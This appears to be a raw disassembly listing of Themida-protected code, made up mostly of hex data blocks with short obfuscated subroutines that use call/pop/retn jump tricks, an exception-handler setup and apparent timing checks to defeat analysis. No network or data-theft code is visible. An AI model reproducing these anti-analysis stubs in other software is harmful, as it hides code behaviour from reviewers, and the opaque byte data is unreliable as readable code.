dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 0CEB65265h, 0B834B2C1h, 9589EC4Fh, 6100535h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 0B30F6DC3h, 0EB2E158Ch, 0E8E8B8C7h, 8, 0A32B775Dh
dd 36F75BA6h, 22699589h, 6A5B0610h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2B41B8A6h
dd 8D080E85h, 15286585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0BFF54B05h, 71A88818h
dd 833FE780h, 0E38105C0h, 84F6CCh, 0CE850h, 66510000h
dd 126C3F42h, 0D9BD2E0Fh, 0E86048B9h, 13h, 1B00AF79h, 58E1B930h
dd 1705258Fh, 45F40B86h, 5EDF1E28h, 61D38B66h, 2404895Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h
dd 221680ABh, 0DEBF0F9Bh, 11ADBD8Bh, 6A0610h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9DC35242h, 95899DB0h
dd 61027E9h, 0BD8B006Ah, 61010DDh, 1D1995FFh, 0BF530610h
dd 3410D391h, 0C8F0F5Fh, 0F000000h, 684h, 0BD9D0100h, 8D06101Ah
dd 13AFD88Dh, 85BD8906h, 0FF061004h, 9BD83D1h, 1061022h
dd 62850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 0D9CA2FC3h, 3980F4A8h, 26AD860h
dd 0BE9h, 20DDD00h, 6857FFADh, 0DA8D81Bh, 0BE950h, 20540000h
dd 7BC34202h, 1067E60Eh, 240489D9h, 2D959D09h, 95FF0610h
dd 6100495h, 6830Fh, 0EB810000h, 336D00A7h, 0D98E9h, 0E800h
dd 815D0000h, 15286FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 57D3FCE6h, 0C8B0Fh, 810F0000h
dd 6, 8F0Fh, 31FC0000h, 10208D8Dh, 0B6858D06h, 8B061399h
dd 101FDD9Dh, 6BB79006h, 92BF5250h, 5B5F4182h, 68D0F90h
dd 8B000000h, 1029399Dh, 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_59DD4F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DD4F proc near ; CODE XREF: Themida_:0059DD47p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_59DD4F endp
; ---------------------------------------------------------------------------
retf 177Bh
; ---------------------------------------------------------------------------
lodsb
or eax, 9D8D897Bh
and edx, [eax]
push es
mov large fs:0, esp
cld
inc dword ptr [ebp+6101419h]
push ecx
and di, 0C563h
pop ebx
push 0FFFFFFFFh
push 0
push ebp
call sub_59DD8D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DD8D proc near ; CODE XREF: Themida_:0059DD85p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_59DD8D endp
; ---------------------------------------------------------------------------
db 54h, 6Dh, 78h
dd 0B5A3D097h, 65B5FF19h, 6A061008h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E27C353h
dd 0A094A59Ah, 7E97D94h, 99000000h, 9DACC74Fh, 95FF1E52h
dd 6100615h, 135E9h, 0B0F98B00h, 5FF95600h, 6670E6F9h
dd 71E4FA8Bh, 2DA7BF66h, 3CD9B70Fh, 17830F61h, 89000001h
dd 10162595h, 0E58D8906h, 0F061014h, 0BD8BC8B6h, 61011CDh
dd 6BAh, 0F8BF0F00h, 8B0FC18Bh, 6, 2275BD2Bh, 0E8C10610h
dd 0AFBB6604h, 0DA8B66E9h, 0BE2F766h, 102829BDh, 8BC82B06h
dd 1032DD9Dh, 899D8B06h, 8B06100Dh, 0FBBF0FD1h, 0C1E9h
dd 0F7816600h, 858BDB9Eh, 505F4C4Ch, 0FFBADB81h, 0C08317A1h
dd 31C38107h, 83395EC9h, 12E800C0h, 23000000h, 717F0EB2h
dd 34DAD632h, 0E49D3600h, 341572D9h, 10E960B5h, 0F8000000h
dd 879B3FC7h, 101B2003h, 0AFD17C6Dh, 617DA828h, 0FD03B5Fh
dd 1183h, 0FE8B6600h, 0D7DFBF66h, 61E9h, 0C890BB00h, 8D8B029Fh
dd 0FFFFFFFFh, 0FE9h, 81AA000h, 54DCF61h, 59DC088Fh, 40CD0988h
dd 0F01E183h, 3984h, 0F9BF0F00h, 83F8B70Fh, 0FFFFFFA5h
dd 0BD2BFEFFh, 6102025h, 4C4C9589h, 0BE8505Fh, 62000000h
dd 979B6F22h, 4BAFCA1Dh, 0BB66D334h, 315B8775h, 1015A995h
dd 0E906h, 0B58D0000h, 6149DDFh, 6AFBBF0Fh, 315B5300h
dd 1027DDBDh, 0C995FF06h, 6A061031h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0AF47C357h
dd 773258CEh, 0C5BD09B6h, 0B906102Ah, 0F84h, 1E9D8589h
dd 0E1830610h, 11E8FCh, 0D7B80000h, 47783D39h, 0E19FEA71h
dd 0F8092D86h, 8947CAA5h, 101471BDh, 6AFC5B06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0F1EC356h, 687h, 0FD8D0100h, 0E906101Dh, 0Bh, 0AB6A6A63h
dd 0CF7CE3BAh, 0B869F6BEh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_59DFCF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59DFCF proc near ; CODE XREF: Themida_:0059DFC7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_59DFCF endp
; ---------------------------------------------------------------------------
db 0BCh
dd 5FE6362Bh, 0F5BB75D4h, 0DE8h, 61EDFC00h, 0B4A57A7Ah
dd 0A88248D4h, 8B66DDF7h, 0BA5FFAh, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 244FC356h, 527CEDB9h, 12CDB529h, 95F0610h, 1018ED95h
dd 0C233AD06h, 0D003E8D1h, 7504E983h, 0B4F781F4h, 6A094F1Ch
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 89BDC351h, 1013A1BDh, 880D06h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 1A263EC3h, 0BD8B191Eh, 6100A99h, 8BF98B66h, 1009F595h
dd 8D01F906h, 6101189h, 23198D8Bh, 0FA8B0610h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 9D895818h, 6100C81h
dd 6A5CE380h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 5E19C356h, 0DA8B8D75h, 1E29BD83h
dd 0F000610h, 1F84h, 35BD8B00h, 29061013h, 1031CD8Dh, 0B806h
dd 8D890000h, 610167Dh, 4E858D8Dh, 0E1FF0610h, 22C1BD83h
dd 0F000610h, 47384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 5E50E546h, 838B766Eh
dd 1022C1BDh, 840F0106h, 45Fh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 50C35242h, 0B19D89F4h, 33061000h
dd 10124D9Dh, 0C1BD8306h, 3061022h, 3F3860Fh, 860F0000h
dd 0
; ---------------------------------------------------------------------------
pusha
push 0
push esi
call sub_59E194
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59E194 proc near ; CODE XREF: Themida_:0059E18Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_59E194 endp
; ---------------------------------------------------------------------------
xchg eax, esp
enter 0FFFFF215h, 0C8h
mov bl, 57h
cld
mov di, 0DF87h
mov [ebp+6101BADh], eax
mov cx, ds
push 0
push edi
call sub_59E1C4
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59E1C4 proc near ; CODE XREF: Themida_:0059E1BCp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_59E1C4 endp
; ---------------------------------------------------------------------------
dd 25893E59h, 80AB729Fh, 0CE904E1h, 25000000h, 8C3DA57Dh
dd 0C5603CFFh, 0A6AACBEh, 59840FC9h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0EA69C356h, 85858B67h, 9061021h, 102F7D9Dh, 0FD853306h
dd 6A061011h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 89D5C355h, 1021B1B5h, 8B529006h
dd 0BF505FFBh, 26CB68EEh, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 6E9609Dh, 1C000000h
dd 60EE825Eh, 28F0F47h, 8A000000h, 6A61FEh, 0AE8h, 2882C00h
dd 4192A19Ah, 666EA97Dh, 65B8D381h, 9DB7685Bh, 12E9768Fh
dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
dd 243481E5h, 76909E48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 72C35545h, 0DAB70F41h, 0FF70EF80h, 1005D595h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 0F4982FF8h, 4C07830h, 55F78166h, 6D8589AFh
dd 0E90613C2h, 0Dh, 0DF23E896h, 0E11A6BD9h, 2980847Bh
dd 1CBE97Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0D67E74C3h, 0FFBF0FFEh, 0C265858Bh
dd 0BD010613h, 6101B79h, 1800C7h, 8B660000h, 69B58BF9h
dd 6A0613C2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0BB68C351h, 14E9h, 5F272A00h
dd 1B10192Fh, 5111C320h, 0AE201038h, 0FC30B83Fh, 25858B75h
dd 8906100Eh, 102F6185h, 6A068906h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6BDBC353h
dd 3175AA4Ch, 858BFA8Bh, 6102185h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 4EC35747h, 56751BA3h, 23B1BD33h
dd 895B0610h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 966FB6C3h, 0B9666060h, 0CE8E675h
dd 95000000h, 30FCFD48h, 39D4F350h, 5E26690Ch, 0F506161h
dd 880h, 0F525000h, 5A616031h, 6A9658h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 393D80C3h
dd 0C05DA2FBh, 0B5FF6FB3h, 613C265h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 41C35040h, 64964CF7h, 7E155C6Eh
dd 9018589h, 72680610h, 6618821Eh, 3481DE8Bh, 9D1D8D24h
dd 53006A18h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 298483CCh, 101F698Dh, 858DF506h, 613C26Dh
dd 312D8D89h, 8B900610h, 0BB6650DAh, 8B90BE32h, 1000C1BDh
dd 0D595FF06h, 81061005h, 0CE0CBF7h, 5E96164h, 92000000h
dd 50A0B04Ah, 22C185C7h, 30610h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0EB2BFFC3h
dd 44FBEB02h, 8B6C18E9h, 6DBD83DFh, 613C2h, 33840Fh, 0E9FC0000h
dd 48h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
dd 4BC35747h, 8831CDE0h, 0F2F1A91h, 28Bh, 0B754B300h, 0C305084h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 10EB8166h
dd 0C1BD8317h, 3061022h, 445850Fh, 0BD0B0000h, 6101055h
dd 0C26DBD83h, 0F000613h, 43284h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8CE879E1h
dd 0AC3D8538h, 0F19D0373h, 0FF061012h, 13C26DB5h, 219D8B06h
dd 0FF061001h, 102FA595h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8BF55DE4h
dd 13C261B5h, 0C58D2906h, 0C7061032h, 1000106h, 13E900h
dd 0EB180000h, 0B9696939h, 0CE9B2838h, 107EA68Ch, 5538BCB6h
dd 965096CBh, 9D89FE8Bh, 6102AB5h, 0C26DB5FFh, 820F0613h
dd 6, 1B3DB501h, 95FF0610h, 6101225h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 5FC35040h, 9D016FB0h, 6101D05h
dd 0A09BD8Bh, 0B58B0610h, 613C261h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 5EC35545h, 81666EFEh, 8BDCC6D3h
dd 1021D185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 300FD409h, 0E943B70Dh, 0BD8B155Dh
dd 6101F59h, 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 99957EC3h, 0F5958B48h
dd 0E9061009h, 0Ch, 8D1B5B0Ah, 0F730B9B1h, 0EDC8FC75h
dd 8363E380h, 9D0904C2h, 6103169h, 6512C381h, 50896F36h
dd 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0BBE64A60h, 9D29F6A8h, 61015C9h, 0D7C2858Dh
dd 0E7800613h, 8DBD8BC1h, 89061034h, 0B886h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 65620BE4h, 216B7E03h, 0CB81006Ah, 5D18B835h, 0C26DB5FFh
dd 8D890613h, 6102F71h, 49595FFh, 6A0610h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 967CF1C3h
dd 1640BB66h, 238A0F50h, 0E8000000h, 0Bh, 0AB2CEE96h, 0E19131D4h
dd 0E9DB17C0h, 0Dh, 92E96E9Bh, 0EBB860D9h, 0FA77D699h
dd 6A965B6Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0FBD6C355h, 0D5B40441h, 0C26DB5FFh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 7824B0C3h, 0CC971444h, 8A0F4640h, 6, 2F358D89h
dd 95FF0610h, 610162Dh, 209D8589h, 0BD830610h, 6101351h
dd 60840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0D58CC350h, 6552BA98h
dd 0B89AC33h, 1C459D8Bh, 0E9960610h, 7, 60A2E4D0h, 507AAA2Bh
dd 6A96D98Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 7950C350h, 0CDBD8929h, 0FF061020h
dd 13C26DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 72DC8BEFh, 0E82A963Ah, 7E9E147h
dd 8E000000h, 8ADDA5DDh, 85016848h, 6100AF9h, 0C1995FFh
dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0D21D2FC3h, 0FF38634Ch, 13C26DB5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 95FF8E32h, 6101621h, 125B501h, 0BD830610h, 6100F89h
dd 5D840F02h, 57000000h, 5FDF8B66h, 10C5858Bh, 6A0610h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0DA1052C3h, 8BE9D1AEh, 1021059Dh, 0C606h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h
dd 0F9B5030Ah, 9589BA95h, 6100B61h, 2A2585C7h, 610h, 9D8B0000h
dd 6101AA9h, 0EE9h, 58DC00h, 32A9896Ah, 0CCEAAC3Eh, 0E9CEA425h
dd 0FFFFF35Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 6EC35747h, 37963193h, 0E19D8BD5h, 8B06100Dh, 53006AC1h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 8B9500E9h, 0B9858DD9h, 0F061013h, 18Dh, 0BD8BF500h
dd 6100231h, 5880F90h, 0BB000000h, 6594F090h, 0AE950h
dd 0D8FC0000h, 0DC2A4253h, 3119FEE3h, 11E990h, 40D40000h
dd 40B5D8FEh, 0D3BBBFC9h, 3D8287E4h, 6A6D3AB3h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 6D37BE1Eh, 0C52D0A89h, 12E8h
db 0
; =============== S U B R O U T I N E =======================================
sub_59EADD proc near ; DATA XREF: Themida_:0054D1E0o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059EB5D SIZE 0000000B BYTES
mov edx, 0BD687961h
mov ds:61808C50h, eax
xlat
cmp [esi], ah
sub al, 0A3h
jno short loc_59EB5D
jmp loc_59EAFE
; ---------------------------------------------------------------------------
dd 6C8F293Fh, 0C53EFD42h
db 0CCh
; ---------------------------------------------------------------------------
push cs
loc_59EAFE: ; CODE XREF: sub_59EADD+12j
pop ebx
push 0
mov [ebp+6101B05h], eax
lea eax, [ebp+6153826h]
mov [ebp+6101D75h], ebx
add eax, 5
push 0
push esi
call sub_59EB21
and [esi-3Dh], bl
sub_59EADD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59EB21 proc near ; CODE XREF: sub_59EADD+3Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_59EB21 endp
; ---------------------------------------------------------------------------
db 0D4h, 81h, 0DBh
; ---------------------------------------------------------------------------
movsb
adc [bx], cx
mov bh, 0D9h
nop
jge loc_59EB45
mov bx, cx
loc_59EB45: ; CODE XREF: Themida_:0059EB3Cj
push eax
pusha
mov si, 0E011h
popa
nop
push 0
push ebx
call sub_59EB58
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59EB58 proc near ; CODE XREF: Themida_:0059EB50p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
sub_59EB58 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_59EADD
loc_59EB5D: ; CODE XREF: sub_59EADD+10j
add dword ptr [esp+4], 19h
inc ebx
push ebx
retn
; END OF FUNCTION CHUNK FOR sub_59EADD
; ---------------------------------------------------------------------------
dd 78AAB1ACh, 0E3B7EF9Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0E17498C3h, 5F9B774Dh
dd 6A176773h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 97EB1B8h, 0F18D892Bh, 0FF061020h
dd 101D1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 8D6016DEh, 13AFD88Dh, 3DB58906h
dd 0FF061014h, 0CE9D1h, 83D00000h, 94B31768h, 7C96F406h
dd 0BD8382B0h, 6102209h, 82850F01h, 8B000000h, 101BCD9Dh
dd 6A026A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 96BBC351h, 6501A5C9h, 5365AD20h
dd 13E9h, 13415000h, 260CA01Ch, 0E0713D08h, 8E568FB3h
dd 435CFC49h, 0BD23565Bh, 6102FEDh, 489505Bh, 0DBB70F24h
dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 6BD180C3h, 6EE34C52h, 8AD88B66h
dd 0C84E9D8h, 0E80000h, 5D000000h, 3830ED81h, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0F56DEC3h, 281h, 5FF88B00h, 99B6858Dh, 50900613h, 2B906160h
dd 100D35BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_59ECEB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59ECEB proc near ; CODE XREF: Themida_:0059ECE3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_59ECEB endp
; ---------------------------------------------------------------------------
db 92h
dd 0D49D6662h, 0F7FDF80h, 8964DFB7h, 25h, 0F1BD0B00h, 0FF06102Ah
dd 10141985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 197E4175h, 0E904EDB1h, 0Ah, 3D6A6CD7h
dd 0F765DE6Bh, 0FF6A0910h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 67C35343h, 0B715C4DDh, 0A5B5FF20h, 0E9061004h
dd 0Bh, 699ECC35h, 0B1DF8B10h, 0FF2BFAFBh, 10061595h, 120E906h
dd 9D8B0000h, 6100B21h, 0BB6600B0h, 70E6C6E2h, 71E4DF8Bh
dd 68B0Fh, 0BD890000h, 61011C5h, 7AF0BB66h, 830F613Ch
dd 0F6h, 0B81BD33h, 0BE90610h, 0B7000000h, 711681A2h, 0BBB6990Bh
dd 0B60F1958h, 0BAFD8AC8h, 6, 0C18B6BB3h, 0C1F98B66h, 7E804E8h
dd 0A4000000h, 0E7872F2Dh, 0AE98B68h, 0E1000000h, 0B099EECh
dd 94940911h, 0F7665BF1h, 0DF8B66E2h, 0D98BC82Bh, 12E8D18Bh
dd 0D1000000h, 0FEDFD28Eh, 100B82FDh, 72FFA27Dh, 2CC5DECBh
dd 5BD03C8h, 5F061002h, 81E9h, 0B8E0F00h, 0F000000h, 581h
dd 0AE1ABF00h, 858B39CDh, 4947554Ch, 0B04BD781h, 0C08363A3h
dd 72D78107h, 833F3621h, 6FBB00C0h, 3B0FB831h, 0B830FD0h
dd 1000000h, 1004D995h, 40E906h, 8D8B0000h, 0FFFFFFFFh
dd 2161BD8Bh, 0E1830610h, 2B840F01h, 0BF000000h, 71D72C5Eh
dd 0FFFFA583h, 0FFEFFFFh, 88Eh, 8D895700h, 6102829h, 4C95895Fh
dd 89494755h, 101F4D85h, 0E906h, 0B58D0000h, 614B33Bh
dd 15E5BD01h, 6A0610h, 9D9D8951h, 5B061027h, 31C995FFh
dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 6E99D3C3h, 0CEC7917Fh, 0BB66C000h, 1DB92D35h
dd 80000011h, 0E18358E7h, 358589FCh, 0FC061009h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0C02B2A02h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 39C35343h
dd 0F648F11h, 10E8DBBFh, 24000000h, 220A5CF5h, 110F9B47h
dd 0CEA78C85h, 8BFD0EA0h, 10141DBDh, 0BA5F06h, 8B000000h
dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 0FD98AF4h, 68Dh
dd 0D5950900h, 0D06102Fh, 88h, 6810Fh, 8D890000h, 6102F41h
dd 9F5958Bh, 9D8B0610h, 610171Dh, 23198D8Bh, 6A0610h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 9D89CAC3h, 6101F3Dh, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 81605818h, 0C97532DEh, 7D958B18h, 6106101Eh
dd 810Fh, 2ABF0000h, 833C1AB2h, 101E29BDh, 840F0006h, 79h
dd 0CE9h, 5B0C2300h, 0E23CE1B5h, 0D53CC22Fh, 2EAABF08h
dd 0B85FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 7B08C350h, 5F3270DDh
dd 1258BF40h, 816621A3h, 8DB49FD7h, 104E858Dh, 9DF8106h
dd 0FF1C8584h, 51006AE1h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 8BF71D32h, 101E2DBDh
dd 0C1BD8306h, 61022h, 43A840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4CCB18C3h
dd 0FF8FB20Ah, 22C1BD83h, 0F010610h, 42684h, 0BD83FC00h
dd 61022C1h, 0E2860F03h, 0E9000003h, 0Eh, 0DEB772D3h, 1B920399h
dd 3C5073BAh, 6A608DC3h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 4655C356h, 0F5FBB70Fh
dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0D526C351h, 0E180D88Bh, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0AD69056Fh, 0E27443D4h, 0FC90A77h, 0C684h, 8BFA8B00h
dd 10218585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 4B532F79h, 0F2D9EE8h, 8533FFB7h
dd 61011FDh, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh
dd 0F50A4A2h, 0C81h, 6860F00h, 50000000h, 5A310F52h, 24048958h
dd 2015BD89h, 81660610h, 6ACD31EFh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5CCA18A7h
dd 689EDD51h, 9117BF3Dh, 0C2240481h, 896F0744h, 101D5985h
dd 0D595FF06h, 89061005h, 101BB98Dh, 0F98B6606h, 0C26D8589h
dd 9D230613h, 6102845h, 204E9h, 0ADBD8B00h, 8B061001h
dd 13C26585h, 0B5BD8906h, 0C7061000h, 1800h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 6612E400h, 8B9084BFh, 13C269B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 25858B87h
dd 6606100Eh, 5F18F381h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E8FDC5C3h, 0Ah, 6554B1EEh
dd 22E261C5h, 890FC8EFh, 4, 0F51BB66h, 0E8D98A5Fh, 0Ch
dd 0B3ABA9E0h, 3C326768h, 11FB06A5h, 5800Fh, 81660000h
dd 5F6B3CE3h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 6BC9C4C3h, 840491EAh
dd 0E1BD33FBh, 2906101Ch, 1012C1BDh, 4468906h, 333D9D89h
dd 0B5010610h, 61012C9h, 0BE86050h, 14000000h, 0C6054A49h
dd 30697E11h, 0DE8BA7C7h, 0EE958h, 4BE90000h, 93BD981Eh
dd 0F667DC8Eh, 43CD8A30h, 24348961h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 2AC35545h, 45B589B9h, 0FF06102Dh
dd 13C265B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 33A81DEh, 0F1EA4BE5h, 0B5895661h
dd 610024Dh, 61538468h, 0D88B6638h, 7B243481h, 0BB387E50h
dd 2DEDF0B2h, 0C26D858Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 38F79DC3h, 85CF80C6h
dd 66525050h, 310FDE8Bh, 52505250h, 585A310Fh, 8CBF310Fh
dd 5A3D8516h, 89585A58h, 0FE82404h, 36000000h, 62ADB7D7h
dd 8BAEB4A7h, 7D79BC2Dh, 0BD8B5ED1h, 6100A8Dh, 0D595FF5Fh
dd 89061005h, 1013E1B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 5DF68AC3h, 0F3FC06CCh
dd 0F6CE9C0h, 68Fh, 0F5BD8B00h, 0C7061006h, 1022C185h
dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 854B6E2Dh, 0C26DBD83h, 0F000613h
dd 3084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 0BD9D295Bh, 2306101Ah, 1030A59Dh
dd 1EE906h, 0B70F0000h, 0C3050FBh, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
